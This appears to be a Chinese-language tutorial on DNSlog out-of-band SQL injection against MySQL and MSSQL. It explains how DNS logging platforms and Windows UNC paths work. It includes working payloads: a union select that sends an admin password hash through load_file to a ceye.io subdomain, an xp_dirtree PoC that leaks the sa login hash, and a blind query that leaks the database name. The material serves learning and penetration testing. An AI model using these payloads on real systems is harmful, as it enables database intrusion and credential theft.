DNSlog注入产生
测试一些网站的时候,一些注入都是无回显的,可以通过写脚本来进行盲注,但有些网站会ban掉我们的ip,可以通过设置ip代理池解决,但是盲注往往效率很低,所以产生了DNSlog注入。
DNSlog注入应用场景
sql注入的盲注、无回显的命令执行、无回显的SSRF
DNSlog注入原理
有一个可以配置的域名(比如:ceye.io),然后通过代理商设置域名(ceye.io)的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了,如下图所示:
注入语句:http://127.0.0.1/mysql.php?id=1 union select 1,2,load_file(CONCAT('\\',(SELECT hex(pass) FROM test.test_user WHERE name='admin' LIMIT 1),'.mysql.nk40ci.ceye.io\abc'))
1),'.mysql.nk40ci.ceye.io\abc'))
UNC路径 dnslog只能用在windows下
\\abc.mysql.nk40ci.ceye.io\abc
load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里就涉及到Windows的一个小Tips——UNC路径。
2) UNC路径
百度的UNC路径的解释:UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机,常用的网络共享文件就是这个方式。
其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式:\\sss.xxx\test\
CONCAT()函数拼接了4个\了,通过转义,4个就变\成了2个\,就是利用UNC路径。
tips:Linux不具备UNC路径,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的
mssql
常见POC如下:
SELECT @host=(SELECT TOP 1master.dbo.fn_varbintohexstr(password_hash)FROM sys.sql_loginsWHERE name='sa')+'.ip.port.b182oj.ceye.io';
EXEC('master..xp_dirtree"\'+@host+'\foobar$"');
在数据库控制台执行的确是可以得到数据库中sa用户Hex编码之后的Hash的。但是实际要获得我们的test_user的表中的数据的时候,对POC需要一定的加工。
首先在sqlserver中字段名是不能和自定义函数名字冲突的,如果冲突需要用[ ]将字段包裹起来,如下图:
user字段正好和系统的user()函数同名,所以字段需要[ ]包裹
DNS在解析的时候会留下日志,读取多级域名(通过域名拼接可得)的解析日志获取信息
http://ceye.io 这是一个免费的记录dnslog的平台,我们注册后到控制面板会给你一个二级域名:xxx.ceye.io,当我们把注入信息放到三级域名那里,后台的日志会记录下来
举例:sql盲注
DNSlog盲注需要用的load_file()函数,所以一般得是root权限。show variables like '%secure%';查看load_file()可以读取的磁盘。
当secure_file_priv为null,load_file就不能加载文件;
当secure_file_priv为G:\,就可以读取G盘的文件;
当secure_file_priv为空,就可以读取磁盘的目录。
通过设置my.ini文件中的secure_file_priv="",就可以load_flie任意磁盘的文件
在mysql命令行执行:select load_file('\\\\afanti.xxxx.ceye.io\\aaa');其中afanti就是要注入的查询语句
查看平台dnsLog被记录下来
load_file()函数可以通过dns解析请求。目标主机是联网的windows系统,可读取编译文件
执行的sql语句:SELECT * FROM users WHERE id='1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)
查看dnslog日志,发现security数据库被查询出来:
Payload: 为了解决sleep时间过长问题,数据外带,标记部分表示域名